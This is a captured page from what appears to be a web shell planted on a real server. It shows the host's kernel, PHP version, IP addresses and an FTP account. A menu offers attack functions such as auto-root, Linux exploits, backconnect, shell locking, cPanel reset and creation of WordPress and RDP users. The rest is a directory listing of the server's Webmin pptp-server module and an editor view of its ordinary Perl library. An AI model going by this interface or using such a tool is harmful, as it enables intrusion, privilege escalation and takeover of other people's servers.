Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
pptp-server /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
213
B
-rw-r--r--
acl_security.pl
521
B
-rwxr-xr-x
apply.cgi
283
B
-rwxr-xr-x
backup_config.pl
743
B
-rwxr-xr-x
config
148
B
-rw-r--r--
config-debian-linux
254
B
-rw-r--r--
config-mandrake-linux
206
B
-rw-r--r--
config-open-linux
224
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
210
B
-rw-r--r--
config-suse-linux
214
B
-rw-r--r--
config-syno-linux
148
B
-rw-r--r--
config-trustix-linux
214
B
-rw-r--r--
config-united-linux
214
B
-rw-r--r--
config.info
445
B
-rw-r--r--
config.info.ca
509
B
-rw-r--r--
config.info.de
501
B
-rw-r--r--
config.info.es
479
B
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.nl
504
B
-rw-r--r--
config.info.no
483
B
-rw-r--r--
config.info.pt_BR
528
B
-rw-r--r--
defaultacl
50
B
-rw-r--r--
delete_secrets.cgi
524
B
-rwxr-xr-x
disc.cgi
507
B
-rwxr-xr-x
edit_conf.cgi
2.9
KB
-rwxr-xr-x
edit_options.cgi
4.44
KB
-rwxr-xr-x
edit_secret.cgi
2.99
KB
-rwxr-xr-x
index.cgi
2.72
KB
-rwxr-xr-x
install_check.pl
441
B
-rwxr-xr-x
list_conns.cgi
1.1
KB
-rwxr-xr-x
list_secrets.cgi
1.76
KB
-rwxr-xr-x
log_parser.pl
479
B
-rwxr-xr-x
module.info
216
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
138
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
188
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
190
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
238
B
-rw-r--r--
module.info.ca
151
B
-rw-r--r--
module.info.ca.auto
14
B
-rw-r--r--
module.info.cs
24
B
-rw-r--r--
module.info.cs.auto
135
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
155
B
-rw-r--r--
module.info.de
0
B
-rw-r--r--
module.info.de.auto
168
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
259
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.auto
133
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
152
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
233
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
160
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
167
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
166
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
157
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
160
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
152
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
199
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
166
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
168
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
153
B
-rw-r--r--
module.info.ms
136
B
-rw-r--r--
module.info.ms.auto
14
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
164
B
-rw-r--r--
module.info.nl
24
B
-rw-r--r--
module.info.nl.auto
126
B
-rw-r--r--
module.info.no
24
B
-rw-r--r--
module.info.no.auto
131
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
143
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
158
B
-rw-r--r--
module.info.pt_BR
29
B
-rw-r--r--
module.info.pt_BR.auto
138
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
162
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
228
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
165
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
145
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
146
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
314
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
161
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
200
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
286
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
190
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
136
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
145
B
-rw-r--r--
pptp-server-lib.pl
6.15
KB
-rwxr-xr-x
save_conf.cgi
1.55
KB
-rwxr-xr-x
save_options.cgi
2.56
KB
-rwxr-xr-x
save_secret.cgi
1.48
KB
-rwxr-xr-x
secrets-lib.pl
1.64
KB
-rwxr-xr-x
start.cgi
413
B
-rwxr-xr-x
stop.cgi
456
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pptp-server-lib.pl
# pptp-server-lib.pl # Common functions for PPTP server configuration # XXX help pages BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); do 'secrets-lib.pl'; %access = &get_module_acl(); $options_pptp = $config{'pptp_ppp_options'} || "/etc/ppp/options.pptp"; # get_config() # Returns the PPTP configuration sub get_config { local @rv; local $lnum = 0; open(FILE, "<".$config{'file'}); while(<FILE>) { s/\r|\n//g; if (/^\s*(#?)\s*(\S+)\s*(\S*)\s*$/) { push(@rv, { 'name' => $2, 'value' => $3, 'enabled' => !$1, 'line' => $lnum, 'index' => scalar(@rv) }); } $lnum++; } close(FILE); return \@rv; } # find_conf(name, &config) sub find_conf { local $c; foreach $c (@{$_[1]}) { if (lc($c->{'name'}) eq lc($_[0]) && $c->{'enabled'}) { return $c->{'value'}; } } return undef; } # save_directive(&config, name, [value]) sub save_directive { local $lref = &read_file_lines($config{'file'}); local ($old) = grep { lc($_->{'name'}) eq lc($_[1]) } @{$_[0]}; if ($old) { if (defined($_[2])) { # Can just update old one $lref->[$old->{'line'}] = "$_[1]\t$_[2]"; } elsif ($old->{'enabled'}) { # Comment out old one $lref->[$old->{'line'}] = "#$old->{'name'}\t$old->{'value'}"; } } elsif (defined($_[2])) { # Add to end of file push(@$lref, "$_[1]\t$_[2]"); } } # get_pptpd_pid() # Returns the PID of the running PPTP server process sub get_pptpd_pid { open(PID, "<".$config{'pid_file'}) || return undef; local $pid = <PID>; $pid = int($pid); close(PID); return $pid; } # get_ppp_hostname() # Returns the hostname that this server uses for authentication sub get_ppp_hostname { local $conf = &get_config(); local $option = &find_conf("option", $conf); $option ||= $config{'ppp_options'}; local @opts = &parse_ppp_options($option); local $name = &find("name", \@opts); return $name ? $name->{'value'} : &get_system_hostname(1); } # parse_ppp_options(file) sub parse_ppp_options { local @rv; local $lnum = 0; open(OPTS, "<".$_[0]); while(<OPTS>) { s/\r|\n//g; s/#.*$//g; if (/^([0-9\.]+):([0-9\.]+)/) { push(@rv, { 'local' => $1, 'remote' => $2, 'file' => $_[0], 'line' => $lnum, 'index' => scalar(@rv) }); } elsif (/^(\S+)\s*(.*)/) { push(@rv, { 'name' => $1, 'value' => $2, 'file' => $_[0], 'line' => $lnum, 'index' => scalar(@rv) }); } $lnum++; } close(OPTS); return @rv; } # find(name, &config) sub find { local @rv = grep { lc($_->{'name'}) eq lc($_[0]) } @{$_[1]}; return wantarray ? @rv : $rv[0]; } # save_ppp_option(&config, file, &old|name, &new) sub save_ppp_option { local $ol = ref($_[2]) || !defined($_[2]) ? $_[2] : &find($_[2], $_[0]); local $nw = $_[3]; local $lref = &read_file_lines($_[1]); local $line; if ($nw) { if ($nw->{'local'}) { $line = $nw->{'local'}.":".$nw->{'remote'}; } else { $line = $nw->{'name'}; $line .= " $nw->{'value'}" if ($nw->{'value'} ne ""); } } if ($ol && $nw) { $lref->[$ol->{'line'}] = $line; } elsif ($ol) { splice(@$lref, $ol->{'line'}, 1); local $c; foreach $c (@{$_[0]}) { $c->{'line'}-- if ($c->{'line'} > $ol->{'line'}); } } elsif ($nw) { push(@$lref, $line); } } # list_connections() # Returns a list of active PPTP connections by checking the process list. # Each element of the list is an array containing the PPP PID, PPTP PID, # client IP, interface, local IP and remote IP, start time and username sub list_connections { local @rv; # Look in the log file for connection messages local (%pppuser, %localip, %remoteip); &open_readfile(LOG, $config{'log_file'}); while(<LOG>) { if (/pppd\[(\d+)\].*authentication\s+succeeded\s+for\s+(\S+)/i) { $pppuser{$1} = $2; } elsif (/pppd\[(\d+)\].*local\s+IP\s+address\s+(\S+)/) { $localip{$1} = $2; } elsif (/pppd\[(\d+)\].*remote\s+IP\s+address\s+(\S+)/) { $remoteip{$1} = $2; } } close(LOG); # Check for running pptpd and pppd processes &foreign_require("proc", "proc-lib.pl"); &foreign_require("net", "net-lib.pl"); local @procs = &proc::list_processes(); local @ifaces = &net::active_interfaces(); foreach $p (@procs) { if ($p->{'args'} =~ /pptpd\s*\[([0-9\.]+)/) { # Found a PPTP connection process .. get the child PPP proc local $rip = $1; local ($ppp) = grep { $_->{'ppid'} == $p->{'pid'} } @procs; local $user = $ppp ? $pppuser{$ppp->{'pid'}} : undef; local $lip; if ($ppp && ($lip=$localip{$ppp->{'pid'}})) { # We got the local and remote IPs from the log file local $rip2 = $remoteip{$ppp->{'pid'}}; local ($iface) = grep { $_->{'address'} eq $lip && $_->{'ptp'} eq $rip } @ifaces; push(@rv, [ $ppp->{'pid'}, $p->{'pid'}, $rip, $iface ? $iface->{'fullname'} : undef, $lip, $rip2, $ppp->{'_stime'}, $user ] ); } elsif ($ppp && $ppp->{'args'} =~ /([0-9\.]+):([0-9\.]+)/) { # Find the matching interface local ($iface) = grep { $_->{'address'} eq $1 && $_->{'ptp'} eq $2 } @ifaces; if ($iface) { push(@rv, [ $ppp->{'pid'}, $p->{'pid'}, $rip, $iface->{'fullname'}, $1, $iface->{'ptp'} || $2, $ppp->{'_stime'}, $user ] ); } else { push(@rv, [ $ppp->{'pid'}, $p->{'pid'}, $rip, undef, $1, $2, $ppp->{'_stime'}, $user ] ); } } elsif ($ppp) { # PPP process doesn't include IPs push(@rv, [ $ppp->{'pid'}, $p->{'pid'}, $rip, undef, undef, undef, $ppp->{'_stime'}, $user ] ); } } } return @rv; } # get_pptpd_version(&out) sub get_pptpd_version { local $out = `$config{'pptpd'} -v 2>&1`; ${$_[0]} = $out; return $out =~ /(PoPToP|pptpd)\s+v?(\S+)/i ? $2 : undef; } # apply_configuration() # Attempts to apply the PPTP server configuration, and returns undef on # success or an error message on failure sub apply_configuration { # Stop first if ($config{'stop_cmd'}) { local $out = &backquote_logged("$config{'stop_cmd'} 2>&1 </dev/null"); return "<pre>$out</pre>" if ($?); } else { local $pid = &get_pptpd_pid(); if (!$pid || !&kill_logged('TERM', $pid)) { return $text{'stop_egone'}; } } # Re-start local $cmd = $config{'start_cmd'} || $config{'pptpd'}; local $temp = &tempname(); local $rv = &system_logged("$cmd >$temp 2>&1 </dev/null"); local $out = `cat $temp`; unlink($temp); if ($rv) { return "<pre>$out</pre>"; } return undef; } 1;
Close